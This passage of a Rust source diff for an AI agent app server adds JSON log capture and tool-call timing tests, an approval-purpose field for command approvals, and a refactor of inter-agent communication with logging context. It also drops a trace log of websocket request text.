pub(crate) started_at: Option<i64>,
|
||||
pub(crate) command_execution_started: HashSet<String>,
|
||||
pub(crate) command_execution_started: HashMap<String, CommandExecutionItemMetadata>,
|
||||
pub(crate) last_error: Option<TurnError>,
|
||||
}
|
||||
|
||||
|
||||
@@ -250,6 +250,7 @@ async fn command_execution_request_approval_strips_additional_permissions_withou
|
||||
item_id: "call_123".to_string(),
|
||||
started_at_ms: 0,
|
||||
approval_id: None,
|
||||
approval_purpose: None,
|
||||
environment_id: None,
|
||||
reason: Some("Need extra read access".to_string()),
|
||||
network_approval_context: None,
|
||||
@@ -316,6 +317,7 @@ async fn command_execution_request_approval_keeps_additional_permissions_with_ca
|
||||
item_id: "call_123".to_string(),
|
||||
started_at_ms: 0,
|
||||
approval_id: None,
|
||||
approval_purpose: None,
|
||||
environment_id: None,
|
||||
reason: Some("Need extra read access".to_string()),
|
||||
network_approval_context: None,
|
||||
|
||||
@@ -1,11 +1,79 @@
|
||||
use std::path::Path;
|
||||
use std::process::Command;
|
||||
use std::process::Stdio;
|
||||
use std::sync::Arc;
|
||||
use std::sync::Mutex;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::Context;
|
||||
use anyhow::Result;
|
||||
use serde_json::Value;
|
||||
use serde_json::json;
|
||||
use tokio::sync::Notify;
|
||||
|
||||
#[derive(Clone, Default)]
|
||||
pub(crate) struct JsonLogCapture {
|
||||
lines: Arc<Mutex<Vec<String>>>,
|
||||
updated: Arc<Notify>,
|
||||
}
|
||||
|
||||
impl JsonLogCapture {
|
||||
pub(crate) fn record(&self, line: String) {
|
||||
self.lines
|
||||
.lock()
|
||||
.unwrap_or_else(std::sync::PoisonError::into_inner)
|
||||
.push(line);
|
||||
self.updated.notify_one();
|
||||
}
|
||||
|
||||
pub(crate) async fn wait_for_event(&self, event_name: &str) -> Result<Value> {
|
||||
let mut events = self.wait_for_events(event_name, /*count*/ 1).await?;
|
||||
Ok(events.remove(0))
|
||||
}
|
||||
|
||||
pub(crate) async fn wait_for_events(
|
||||
&self,
|
||||
event_name: &str,
|
||||
count: usize,
|
||||
) -> Result<Vec<Value>> {
|
||||
let result = tokio::time::timeout(Duration::from_secs(10), async {
|
||||
loop {
|
||||
let updated = self.updated.notified();
|
||||
let events = self
|
||||
.events()?
|
||||
.into_iter()
|
||||
.filter(|event| event["fields"]["event.name"].as_str() == Some(event_name))
|
||||
.collect::<Vec<_>>();
|
||||
if events.len() >= count {
|
||||
return Ok(events);
|
||||
}
|
||||
updated.await;
|
||||
}
|
||||
})
|
||||
.await;
|
||||
match result {
|
||||
Ok(result) => result,
|
||||
Err(_) => {
|
||||
let lines = self
|
||||
.lines
|
||||
.lock()
|
||||
.unwrap_or_else(std::sync::PoisonError::into_inner)
|
||||
.join("\n");
|
||||
anyhow::bail!(
|
||||
"timed out waiting for {count} JSON log event(s) named `{event_name}`; captured stderr:\n{lines}"
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn events(&self) -> Result<Vec<Value>> {
|
||||
let lines = self
|
||||
.lines
|
||||
.lock()
|
||||
.unwrap_or_else(std::sync::PoisonError::into_inner);
|
||||
json_log_events(lines.iter().map(String::as_str))
|
||||
}
|
||||
}
|
||||
|
||||
pub fn app_server_json_shutdown_event(
|
||||
binary: &str,
|
||||
@@ -31,25 +99,39 @@ pub fn app_server_json_shutdown_event(
|
||||
let stderr = String::from_utf8(output.stderr)?;
|
||||
anyhow::ensure!(output.status.success(), "app-server failed: {stderr}");
|
||||
|
||||
let events = stderr
|
||||
.lines()
|
||||
.filter(|line| !line.is_empty())
|
||||
.map(serde_json::from_str::<Value>)
|
||||
.collect::<serde_json::Result<Vec<_>>>()
|
||||
.with_context(|| format!("app-server stderr was not JSONL: {stderr}"))?;
|
||||
let events = json_log_events(stderr.lines())
|
||||
.with_context(|| format!("app-server stderr was not valid JSONL: {stderr}"))?;
|
||||
let event = events
|
||||
.iter()
|
||||
.find(|event| event["fields"]["message"] == "processor task exited")
|
||||
.context("missing INFO shutdown event in app-server JSON logs")?;
|
||||
let timestamp = event["timestamp"]
|
||||
.as_str()
|
||||
.context("shutdown event did not include a timestamp")?;
|
||||
chrono::DateTime::parse_from_rfc3339(timestamp)
|
||||
.with_context(|| format!("shutdown event timestamp was not RFC 3339: {timestamp}"))?;
|
||||
|
||||
Ok(json!({
|
||||
"level": event["level"],
|
||||
"fields": event["fields"],
|
||||
"target": event["target"],
|
||||
}))
|
||||
}
|
||||
|
||||
fn json_log_events<'a>(lines: impl IntoIterator<Item = &'a str>) -> Result<Vec<Value>> {
|
||||
lines
|
||||
.into_iter()
|
||||
.filter(|line| !line.is_empty())
|
||||
.map(|line| {
|
||||
let event = serde_json::from_str::<Value>(line)
|
||||
.with_context(|| format!("log line was not JSON: {line}"))?;
|
||||
anyhow::ensure!(
|
||||
event["level"].is_string()
|
||||
&& event["fields"].is_object()
|
||||
&& event["target"].is_string(),
|
||||
"JSON log event did not include level, fields, and target: {line}"
|
||||
);
|
||||
let timestamp = event["timestamp"]
|
||||
.as_str()
|
||||
.with_context(|| format!("JSON log event did not include a timestamp: {line}"))?;
|
||||
chrono::DateTime::parse_from_rfc3339(timestamp).with_context(|| {
|
||||
format!("JSON log event timestamp was not RFC 3339: {timestamp}")
|
||||
})?;
|
||||
Ok(event)
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
@@ -123,6 +123,8 @@ use core_test_support::test_codex::TestEnv;
|
||||
use core_test_support::test_codex::test_env;
|
||||
use tokio::process::Command;
|
||||
|
||||
use crate::json_logging::JsonLogCapture;
|
||||
|
||||
pub struct TestAppServer {
|
||||
next_request_id: AtomicI64,
|
||||
/// Retain this child process until the client is dropped. The Tokio runtime
|
||||
@@ -134,6 +136,7 @@ pub struct TestAppServer {
|
||||
stdout: BufReader<ChildStdout>,
|
||||
pending_messages: VecDeque<JSONRPCMessage>,
|
||||
auto_env: Option<TestEnv>,
|
||||
json_logs: JsonLogCapture,
|
||||
}
|
||||
|
||||
pub const DEFAULT_CLIENT_NAME: &str = "codex-app-server-tests";
|
||||
@@ -160,6 +163,31 @@ impl TestAppServer {
|
||||
/// URL-based configuration, this helper rejects a `codex_home` containing
|
||||
/// that file.
|
||||
pub async fn new_with_auto_env(codex_home: &Path) -> anyhow::Result<Self> {
|
||||
Self::new_with_auto_env_and_env(codex_home, &[]).await
|
||||
}
|
||||
|
||||
/// Starts an auto-environment app server that emits JSON logs.
|
||||
///
|
||||
/// `rust_log` is the value to use for the `RUST_LOG` environment variable.
|
||||
pub async fn new_with_auto_env_and_json_logging(
|
||||
codex_home: &Path,
|
||||
rust_log: impl Into<String>,
|
||||
) -> anyhow::Result<Self> {
|
||||
let rust_log = rust_log.into();
|
||||
Self::new_with_auto_env_and_env(
|
||||
codex_home,
|
||||
&[
|
||||
("LOG_FORMAT", Some("json")),
|
||||
("RUST_LOG", Some(rust_log.as_str())),
|
||||
],
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn new_with_auto_env_and_env(
|
||||
codex_home: &Path,
|
||||
extra_env_overrides: &[(&str, Option<&str>)],
|
||||
) -> anyhow::Result<Self> {
|
||||
let environments_toml = codex_home.join("environments.toml");
|
||||
ensure!(
|
||||
!environments_toml
|
||||
@@ -172,7 +200,7 @@ impl TestAppServer {
|
||||
let auto_env = test_env().await?;
|
||||
// Noise registry configuration takes precedence over the URL-based
|
||||
// provider, so clear inherited values to keep the selection hermetic.
|
||||
let env_overrides = [
|
||||
let mut env_overrides = vec![
|
||||
(
|
||||
CODEX_EXEC_SERVER_URL_ENV_VAR,
|
||||
auto_env.environment().exec_server_url(),
|
||||
@@ -182,6 +210,7 @@ impl TestAppServer {
|
||||
(CODEX_EXEC_SERVER_NOISE_AUTH_TOKEN_ENV_VAR, None),
|
||||
(CODEX_EXEC_SERVER_NOISE_CHATGPT_ACCOUNT_ID_ENV_VAR, None),
|
||||
];
|
||||
env_overrides.extend_from_slice(extra_env_overrides);
|
||||
let mut app_server = Self::new_with_env(codex_home, &env_overrides).await?;
|
||||
app_server.auto_env = Some(auto_env);
|
||||
Ok(app_server)
|
||||
@@ -202,6 +231,28 @@ impl TestAppServer {
|
||||
})
|
||||
}
|
||||
|
||||
/// Waits for a JSON stderr event whose structured `event.name` field matches.
|
||||
pub async fn wait_for_json_log_event(
|
||||
&self,
|
||||
event_name: &str,
|
||||
) -> anyhow::Result<serde_json::Value> {
|
||||
self.json_logs.wait_for_event(event_name).await
|
||||
}
|
||||
|
||||
/// Waits for the requested number of JSON stderr events with the same `event.name` field.
|
||||
pub async fn wait_for_json_log_events(
|
||||
&self,
|
||||
event_name: &str,
|
||||
count: usize,
|
||||
) -> anyhow::Result<Vec<serde_json::Value>> {
|
||||
self.json_logs.wait_for_events(event_name, count).await
|
||||
}
|
||||
|
||||
/// Returns every stderr line parsed and validated as a JSON log event.
|
||||
pub fn json_log_events(&self) -> anyhow::Result<Vec<serde_json::Value>> {
|
||||
self.json_logs.events()
|
||||
}
|
||||
|
||||
pub async fn new_without_managed_config(codex_home: &Path) -> anyhow::Result<Self> {
|
||||
Self::new_with_env(codex_home, &[(DISABLE_MANAGED_CONFIG_ENV_VAR, Some("1"))]).await
|
||||
}
|
||||
@@ -322,10 +373,13 @@ impl TestAppServer {
|
||||
|
||||
// Forward child's stderr to our stderr so failures are visible even
|
||||
// when stdout/stderr are captured by the test harness.
|
||||
let json_logs = JsonLogCapture::default();
|
||||
if let Some(stderr) = process.stderr.take() {
|
||||
let json_logs = json_logs.clone();
|
||||
let mut stderr_reader = BufReader::new(stderr).lines();
|
||||
tokio::spawn(async move {
|
||||
while let Ok(Some(line)) = stderr_reader.next_line().await {
|
||||
json_logs.record(line.clone());
|
||||
eprintln!("[mcp stderr] {line}");
|
||||
}
|
||||
});
|
||||
@@ -337,6 +391,7 @@ impl TestAppServer {
|
||||
stdout,
|
||||
pending_messages: VecDeque::new(),
|
||||
auto_env: None,
|
||||
json_logs,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -1,8 +1,30 @@
|
||||
use anyhow::Context;
|
||||
use anyhow::Result;
|
||||
use app_test_support::TestAppServer;
|
||||
use app_test_support::app_server_json_shutdown_event;
|
||||
use app_test_support::create_exec_command_sse_response;
|
||||
use app_test_support::create_final_assistant_message_sse_response;
|
||||
use app_test_support::create_mock_responses_server_sequence;
|
||||
use app_test_support::to_response;
|
||||
use app_test_support::write_mock_responses_config_toml;
|
||||
use codex_app_server_protocol::JSONRPCResponse;
|
||||
use codex_app_server_protocol::RequestId;
|
||||
use codex_app_server_protocol::ThreadStartParams;
|
||||
use codex_app_server_protocol::ThreadStartResponse;
|
||||
use codex_app_server_protocol::TurnStartParams;
|
||||
use codex_app_server_protocol::TurnStartResponse;
|
||||
use codex_app_server_protocol::UserInput;
|
||||
use codex_features::Feature;
|
||||
use core_test_support::skip_if_no_network;
|
||||
use pretty_assertions::assert_eq;
|
||||
use serde_json::Value;
|
||||
use serde_json::json;
|
||||
use std::collections::BTreeMap;
|
||||
use tempfile::TempDir;
|
||||
use tokio::time::Duration;
|
||||
use tokio::time::timeout;
|
||||
|
||||
const READ_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
|
||||
#[test]
|
||||
fn standalone_app_server_emits_json_info_events() -> Result<()> {
|
||||
@@ -25,3 +47,126 @@ fn standalone_app_server_emits_json_info_events() -> Result<()> {
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn app_server_emits_structured_tool_call_timing_event() -> Result<()> {
|
||||
skip_if_no_network!(Ok(()));
|
||||
|
||||
let server = create_mock_responses_server_sequence(vec![
|
||||
create_exec_command_sse_response("exec-call-1")?,
|
||||
create_final_assistant_message_sse_response("done")?,
|
||||
])
|
||||
.await;
|
||||
let codex_home = TempDir::new()?;
|
||||
write_mock_responses_config_toml(
|
||||
codex_home.path(),
|
||||
&server.uri(),
|
||||
&BTreeMap::from([(Feature::UnifiedExec, true)]),
|
||||
/*auto_compact_limit*/ 100_000,
|
||||
/*requires_openai_auth*/ None,
|
||||
"mock_provider",
|
||||
"compact",
|
||||
)?;
|
||||
|
||||
let mut app_server = TestAppServer::new_with_auto_env_and_json_logging(
|
||||
codex_home.path(),
|
||||
"warn,codex_core::tools::parallel=info",
|
||||
)
|
||||
.await?;
|
||||
timeout(READ_TIMEOUT, app_server.initialize()).await??;
|
||||
|
||||
let thread_start_id = app_server
|
||||
.send_thread_start_request_with_auto_env(ThreadStartParams {
|
||||
model: Some("mock-model".to_string()),
|
||||
..Default::default()
|
||||
})
|
||||
.await?;
|
||||
let thread_start_response: JSONRPCResponse = timeout(
|
||||
READ_TIMEOUT,
|
||||
app_server.read_stream_until_response_message(RequestId::Integer(thread_start_id)),
|
||||
)
|
||||
.await??;
|
||||
let ThreadStartResponse { thread, .. } = to_response(thread_start_response)?;
|
||||
|
||||
let turn_start_id = app_server
|
||||
.send_turn_start_request(TurnStartParams {
|
||||
thread_id: thread.id.clone(),
|
||||
input: vec![UserInput::Text {
|
||||
text: "run a command".to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}],
|
||||
..Default::default()
|
||||
})
|
||||
.await?;
|
||||
let turn_start_response: JSONRPCResponse = timeout(
|
||||
READ_TIMEOUT,
|
||||
app_server.read_stream_until_response_message(RequestId::Integer(turn_start_id)),
|
||||
)
|
||||
.await??;
|
||||
let TurnStartResponse { turn } = to_response(turn_start_response)?;
|
||||
|
||||
timeout(
|
||||
READ_TIMEOUT,
|
||||
app_server.read_stream_until_notification_message("turn/completed"),
|
||||
)
|
||||
.await??;
|
||||
|
||||
let mut tool_call = app_server
|
||||
.wait_for_json_log_event("codex.tool_call")
|
||||
.await?;
|
||||
let tool_call_object = tool_call
|
||||
.as_object_mut()
|
||||
.context("tool call log event must be an object")?;
|
||||
// JsonLogCapture already validates the timestamp as RFC 3339.
|
||||
tool_call_object
|
||||
.remove("timestamp")
|
||||
.context("tool call log event must include a timestamp")?;
|
||||
let fields = tool_call_object
|
||||
.get_mut("fields")
|
||||
.and_then(Value::as_object_mut)
|
||||
.context("tool call log event fields must be an object")?;
|
||||
let trace_id = fields
|
||||
.remove("trace_id")
|
||||
.context("tool call log event must include trace_id")?;
|
||||
anyhow::ensure!(trace_id.is_string(), "trace_id must be a string");
|
||||
let dispatch_duration_ms = fields
|
||||
.remove("dispatch_duration_ms")
|
||||
.and_then(|duration| duration.as_u64())
|
||||
.context("dispatch_duration_ms must be a nonnegative integer")?;
|
||||
let handler_duration_ms = fields
|
||||
.remove("handler_duration_ms")
|
||||
.and_then(|duration| duration.as_u64())
|
||||
.context("handler_duration_ms must be a nonnegative integer")?;
|
||||
let total_duration_ms = fields
|
||||
.remove("total_duration_ms")
|
||||
.and_then(|duration| duration.as_u64())
|
||||
.context("total_duration_ms must be a nonnegative integer")?;
|
||||
let accounted_duration_ms = dispatch_duration_ms
|
||||
.checked_add(handler_duration_ms)
|
||||
.context("dispatch and handler durations must not overflow")?;
|
||||
anyhow::ensure!(
|
||||
total_duration_ms >= accounted_duration_ms
|
||||
&& total_duration_ms - accounted_duration_ms <= 1,
|
||||
"dispatch and handler durations must account for total duration within integer truncation"
|
||||
);
|
||||
|
||||
assert_eq!(
|
||||
tool_call,
|
||||
json!({
|
||||
"level": "INFO",
|
||||
"fields": {
|
||||
"message": "tool call completed",
|
||||
"event.name": "codex.tool_call",
|
||||
"conversation.id": thread.id,
|
||||
"turn_id": turn.id,
|
||||
"tool_name": "exec_command",
|
||||
"call_id": "exec-call-1",
|
||||
"tool_source": "direct",
|
||||
"execution_started": true,
|
||||
},
|
||||
"target": "codex_core::tools::parallel",
|
||||
})
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -15,6 +15,7 @@ use app_test_support::create_shell_command_sse_response;
|
||||
use app_test_support::to_response;
|
||||
use codex_app_server_protocol::CommandAction;
|
||||
use codex_app_server_protocol::CommandExecutionApprovalDecision;
|
||||
use codex_app_server_protocol::CommandExecutionApprovalPurpose;
|
||||
use codex_app_server_protocol::CommandExecutionRequestApprovalResponse;
|
||||
use codex_app_server_protocol::CommandExecutionStatus;
|
||||
use codex_app_server_protocol::ItemCompletedNotification;
|
||||
@@ -595,6 +596,10 @@ async fn turn_start_shell_zsh_fork_subcommand_decline_marks_parent_declined_v2()
|
||||
(has_first_file != has_second_file) && (has_rm_action || mentions_rm_binary);
|
||||
|
||||
if is_target_subcommand {
|
||||
assert_eq!(
|
||||
params.approval_purpose,
|
||||
Some(CommandExecutionApprovalPurpose::Execve)
|
||||
);
|
||||
approved_subcommand_ids.push(
|
||||
params
|
||||
.approval_id
|
||||
@@ -640,6 +645,27 @@ async fn turn_start_shell_zsh_fork_subcommand_decline_marks_parent_declined_v2()
|
||||
assert_eq!(approved_subcommand_strings.len(), 2);
|
||||
assert!(approved_subcommand_strings[0].contains(&first_file.display().to_string()));
|
||||
assert!(approved_subcommand_strings[1].contains(&second_file.display().to_string()));
|
||||
let parent_started_metadata = timeout(DEFAULT_READ_TIMEOUT, async {
|
||||
loop {
|
||||
let started_notif = mcp
|
||||
.read_stream_until_notification_message("item/started")
|
||||
.await?;
|
||||
let started: ItemStartedNotification =
|
||||
serde_json::from_value(started_notif.params.expect("item/started params"))?;
|
||||
if let ThreadItem::CommandExecution {
|
||||
id,
|
||||
command,
|
||||
cwd,
|
||||
command_actions,
|
||||
..
|
||||
} = started.item
|
||||
&& id == "call-zsh-fork-subcommand-decline"
|
||||
{
|
||||
return Ok::<_, anyhow::Error>((command, cwd, command_actions));
|
||||
}
|
||||
}
|
||||
})
|
||||
.await??;
|
||||
let parent_completed_command_execution = timeout(DEFAULT_READ_TIMEOUT, async {
|
||||
loop {
|
||||
let completed_notif = mcp
|
||||
@@ -664,6 +690,9 @@ async fn turn_start_shell_zsh_fork_subcommand_decline_marks_parent_declined_v2()
|
||||
Ok(Ok(parent_completed_command_execution)) => {
|
||||
let ThreadItem::CommandExecution {
|
||||
id,
|
||||
command,
|
||||
cwd,
|
||||
command_actions,
|
||||
status,
|
||||
aggregated_output,
|
||||
..
|
||||
@@ -673,6 +702,11 @@ async fn turn_start_shell_zsh_fork_subcommand_decline_marks_parent_declined_v2()
|
||||
};
|
||||
assert_eq!(id, "call-zsh-fork-subcommand-decline");
|
||||
assert_eq!(status, CommandExecutionStatus::Declined);
|
||||
assert_eq!(
|
||||
(command, cwd, command_actions),
|
||||
parent_started_metadata,
|
||||
"parent completion metadata was replaced by a child callback"
|
||||
);
|
||||
if let Some(output) = aggregated_output.as_deref() {
|
||||
assert!(
|
||||
output == "exec command rejected by user"
|
||||
|
||||
@@ -43,7 +43,6 @@ use tracing::debug;
|
||||
use tracing::error;
|
||||
use tracing::info;
|
||||
use tracing::instrument;
|
||||
use tracing::trace;
|
||||
use tungstenite::extensions::ExtensionsConfig;
|
||||
use tungstenite::extensions::compression::deflate::DeflateConfig;
|
||||
use tungstenite::protocol::WebSocketConfig;
|
||||
@@ -782,8 +781,6 @@ async fn send_websocket_request(
|
||||
telemetry: Option<&Arc<dyn WebsocketTelemetry>>,
|
||||
connection_reused: bool,
|
||||
) -> Result<(), ApiError> {
|
||||
trace!("websocket request: {request_text}");
|
||||
|
||||
let request_start = Instant::now();
|
||||
let result = tokio::time::timeout(
|
||||
idle_timeout,
|
||||
|
||||
@@ -1750,6 +1750,9 @@
|
||||
"minimum": 0.0,
|
||||
"type": "integer"
|
||||
},
|
||||
"multi_agent_mode_hint_text": {
|
||||
"type": "string"
|
||||
},
|
||||
"non_code_mode_only": {
|
||||
"type": "boolean"
|
||||
},
|
||||
|
||||
@@ -4,6 +4,8 @@ use crate::agent::registry::AgentRegistry;
|
||||
use crate::agent::role::DEFAULT_ROLE_NAME;
|
||||
use crate::agent::role::resolve_role_config;
|
||||
use crate::agent::status::is_final;
|
||||
use crate::agent_communication::AgentCommunicationContext;
|
||||
use crate::agent_communication::AgentCommunicationKind;
|
||||
use crate::codex_thread::ThreadConfigSnapshot;
|
||||
use crate::config::Config;
|
||||
use crate::config::RolloutBudgetConfig;
|
||||
@@ -139,12 +141,12 @@ impl AgentControl {
|
||||
pub(crate) async fn send_input(
|
||||
&self,
|
||||
agent_id: ThreadId,
|
||||
initial_operation: Op,
|
||||
input: Vec<UserInput>,
|
||||
) -> CodexResult<String> {
|
||||
let state = self.upgrade()?;
|
||||
self.ensure_execution_capacity_for_op(agent_id, &initial_operation)
|
||||
self.ensure_execution_capacity_for_turn_start(agent_id, /*starts_turn*/ true)
|
||||
.await?;
|
||||
self.send_input_after_capacity_check(agent_id, &state, initial_operation)
|
||||
self.send_input_after_capacity_check(agent_id, &state, input)
|
||||
.await
|
||||
}
|
||||
|
||||
@@ -152,19 +154,14 @@ impl AgentControl {
|
||||
&self,
|
||||
agent_id: ThreadId,
|
||||
state: &Arc<ThreadManagerState>,
|
||||
initial_operation: Op,
|
||||
input: Vec<UserInput>,
|
||||
) -> CodexResult<String> {
|
||||
let last_task_message = match &initial_operation {
|
||||
Op::InterAgentCommunication { communication } => {
|
||||
last_task_message_from_communication(communication)
|
||||
}
|
||||
_ => non_empty_task_message(render_input_preview(&initial_operation)),
|
||||
};
|
||||
let last_task_message = non_empty_task_message(render_input_preview(&input));
|
||||
let result = self
|
||||
.handle_thread_request_result(
|
||||
agent_id,
|
||||
state,
|
||||
state.send_op(agent_id, initial_operation).await,
|
||||
state.send_op(agent_id, input.into()).await,
|
||||
)
|
||||
.await;
|
||||
if result.is_ok() {
|
||||
@@ -182,14 +179,60 @@ impl AgentControl {
|
||||
&self,
|
||||
agent_id: ThreadId,
|
||||
communication: InterAgentCommunication,
|
||||
agent_communication_context: AgentCommunicationContext,
|
||||
) -> CodexResult<String> {
|
||||
let state = self.upgrade()?;
|
||||
self.ensure_execution_capacity_for_turn_start(agent_id, communication.trigger_turn)
|
||||
.await?;
|
||||
self.send_inter_agent_communication_after_capacity_check(
|
||||
agent_id,
|
||||
&state,
|
||||
communication,
|
||||
agent_communication_context,
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn send_inter_agent_communication_after_capacity_check(
|
||||
&self,
|
||||
agent_id: ThreadId,
|
||||
state: &Arc<ThreadManagerState>,
|
||||
communication: InterAgentCommunication,
|
||||
context: AgentCommunicationContext,
|
||||
) -> CodexResult<String> {
|
||||
self.submit_inter_agent_communication(agent_id, state, communication, context)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn submit_inter_agent_communication(
|
||||
&self,
|
||||
agent_id: ThreadId,
|
||||
state: &Arc<ThreadManagerState>,
|
||||
communication: InterAgentCommunication,
|
||||
context: AgentCommunicationContext,
|
||||
) -> CodexResult<String> {
|
||||
let last_task_message = last_task_message_from_communication(&communication);
|
||||
let state = self.upgrade()?;
|
||||
let op = Op::InterAgentCommunication { communication };
|
||||
self.ensure_execution_capacity_for_op(agent_id, &op).await?;
|
||||
let communication_for_log =
|
||||
crate::agent_communication::logging_enabled().then(|| communication.clone());
|
||||
let result = self
|
||||
.handle_thread_request_result(agent_id, &state, state.send_op(agent_id, op).await)
|
||||
.handle_thread_request_result(
|
||||
agent_id,
|
||||
state,
|
||||
state
|
||||
.send_op(agent_id, Op::InterAgentCommunication { communication })
|
||||
.await,
|
||||
)
|
||||
.await;
|
||||
if let (Some(communication), Ok(communication_id)) =
|
||||
(communication_for_log, result.as_ref())
|
||||
{
|
||||
crate::agent_communication::emit_agent_communication_send(
|
||||
communication_id,
|
||||
&context,
|
||||
&communication,
|
||||
agent_id,
|
||||
);
|
||||
}
|
||||
if result.is_ok() {
|
||||
match last_task_message {
|
||||
Some(last_task_message) => self
|
||||
@@ -480,8 +523,10 @@ impl AgentControl {
|
||||
message,
|
||||
/*trigger_turn*/ false,
|
||||
);
|
||||
let context =
|
||||
AgentCommunicationContext::new(AgentCommunicationKind::Result, child_thread_id);
|
||||
let _ = control
|
||||
.send_inter_agent_communication(parent_thread_id, communication)
|
||||
.send_inter_agent_communication(parent_thread_id, communication, context)
|
||||
.await;
|
||||
return;
|
||||
}
|
||||
@@ -706,27 +751,23 @@ fn agent_matches_prefix(agent_path: Option<&AgentPath>, prefix: &AgentPath) -> b
|
||||
})
|
||||
}
|
||||
|
||||
pub(crate) fn render_input_preview(initial_operation: &Op) -> String {
|
||||
match initial_operation {
|
||||
Op::UserInput { items, .. } => items
|
||||
.iter()
|
||||
.map(|item| match item {
|
||||
UserInput::Text { text, .. } => text.clone(),
|
||||
UserInput::Image { .. } => "[image]".to_string(),
|
||||
UserInput::LocalImage { path, .. } => {
|
||||
format!("[local_image:{}]", path.display())
|
||||
}
|
||||
UserInput::Skill { name, path, .. } => {
|
||||
format!("[skill:${name}]({})", path.display())
|
||||
}
|
||||
UserInput::Mention { name, path, .. } => format!("[mention:${name}]({path})"),
|
||||
_ => "[input]".to_string(),
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n"),
|
||||
Op::InterAgentCommunication { communication } => communication.content.clone(),
|
||||
_ => String::new(),
|
||||
}
|
||||
pub(crate) fn render_input_preview(input: &[UserInput]) -> String {
|
||||
input
|
||||
.iter()
|
||||
.map(|item| match item {
|
||||
UserInput::Text { text, .. } => text.clone(),
|
||||
UserInput::Image { .. } => "[image]".to_string(),
|
||||
UserInput::LocalImage { path, .. } => {
|
||||
format!("[local_image:{}]", path.display())
|
||||
}
|
||||
UserInput::Skill { name, path, .. } => {
|
||||
format!("[skill:${name}]({})", path.display())
|
||||
}
|
||||
UserInput::Mention { name, path, .. } => format!("[mention:${name}]({path})"),
|
||||
_ => "[input]".to_string(),
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n")
|
||||
}
|
||||
|
||||
fn last_task_message_from_communication(communication: &InterAgentCommunication) -> Option<String> {
|
||||
|
||||
@@ -32,7 +32,16 @@ impl AgentControl {
|
||||
thread_id: ThreadId,
|
||||
op: &Op,
|
||||
) -> CodexResult<()> {
|
||||
if !op_starts_turn(op) {
|
||||
self.ensure_execution_capacity_for_turn_start(thread_id, op_starts_turn(op))
|
||||
.await
|
||||
}
|
||||
|
||||
pub(super) async fn ensure_execution_capacity_for_turn_start(
|
||||
&self,
|
||||
thread_id: ThreadId,
|
||||
starts_turn: bool,
|
||||
) -> CodexResult<()> {
|
||||
if !starts_turn {
|
||||
return Ok(());
|
||||
}
|
||||
let state = self.upgrade()?;
|
||||
|
||||
@@ -9,6 +9,17 @@ struct SpawnAgentThreadInheritance {
|
||||
exec_policy: Option<Arc<crate::exec_policy::ExecPolicyManager>>,
|
||||
}
|
||||
|
||||
/// Initial input delivered after a spawned agent acquires execution capacity.
|
||||
///
|
||||
/// V2 communication spawns keep the communication and its context paired so centralized
|
||||
/// submission and lifecycle logging cannot receive one without the other. Other spawn sources
|
||||
/// provide user input directly, making an uncontextualized inter-agent communication
|
||||
/// unrepresentable.
|
||||
enum SpawnInitialInput {
|
||||
UserInput(Vec<UserInput>),
|
||||
InterAgentCommunication(InterAgentCommunication, AgentCommunicationContext),
|
||||
}
|
||||
|
||||
fn default_agent_nickname_list() -> Vec<&'static str> {
|
||||
AGENT_NAMES
|
||||
.lines()
|
||||
@@ -89,12 +100,12 @@ impl AgentControl {
|
||||
pub(crate) async fn spawn_agent(
|
||||
&self,
|
||||
config: Config,
|
||||
initial_operation: Op,
|
||||
initial_input: Vec<UserInput>,
|
||||
session_source: Option<SessionSource>,
|
||||
) -> CodexResult<ThreadId> {
|
||||
let spawned_agent = Box::pin(self.spawn_agent_internal(
|
||||
config,
|
||||
initial_operation,
|
||||
SpawnInitialInput::UserInput(initial_input),
|
||||
session_source,
|
||||
SpawnAgentOptions::default(),
|
||||
))
|
||||
@@ -106,12 +117,34 @@ impl AgentControl {
|
||||
pub(crate) async fn spawn_agent_with_metadata(
|
||||
&self,
|
||||
config: Config,
|
||||
initial_operation: Op,
|
||||
initial_input: Vec<UserInput>,
|
||||
session_source: Option<SessionSource>,
|
||||
options: SpawnAgentOptions, // TODO(jif) drop with new fork.
|
||||
) -> CodexResult<LiveAgent> {
|
||||
Box::pin(self.spawn_agent_internal(config, initial_operation, session_source, options))
|
||||
.await
|
||||
Box::pin(self.spawn_agent_internal(
|
||||
config,
|
||||
SpawnInitialInput::UserInput(initial_input),
|
||||
session_source,
|
||||
options,
|
||||
))
|
||||
.await
|
||||
}
|
||||
|
||||
pub(crate) async fn spawn_agent_with_communication(
|
||||
&self,
|
||||
config: Config,
|
||||
communication: InterAgentCommunication,
|
||||
context: AgentCommunicationContext,
|
||||
session_source: Option<SessionSource>,
|
||||
options: SpawnAgentOptions,
|
||||
) -> CodexResult<LiveAgent> {
|
||||
Box::pin(self.spawn_agent_internal(
|
||||
config,
|
||||
SpawnInitialInput::InterAgentCommunication(communication, context),
|
||||
session_source,
|
||||
options,
|
||||
))
|
||||
.await
|
||||
}
|
||||
|
||||
pub(crate) async fn ensure_v2_agent_loaded(
|
||||
@@ -197,7 +230,7 @@ impl AgentControl {
|
||||
async fn spawn_agent_internal(
|
||||
&self,
|
||||
config: Config,
|
||||
initial_operation: Op,
|
||||
initial_input: SpawnInitialInput,
|
||||
session_source: Option<SessionSource>,
|
||||
options: SpawnAgentOptions,
|
||||
) -> CodexResult<LiveAgent> {
|
||||
@@ -356,8 +389,21 @@ impl AgentControl {
|
||||
)
|
||||
.await;
|
||||
|
||||
self.send_input_after_capacity_check(new_thread.thread_id, &state, initial_operation)
|
||||
.await?;
|
||||
match initial_input {
|
||||
SpawnInitialInput::UserInput(input) => {
|
||||
self.send_input_after_capacity_check(new_thread.thread_id, &state, input)
|
||||
.await?;
|
||||
}
|
||||
SpawnInitialInput::InterAgentCommunication(communication, context) => {
|
||||
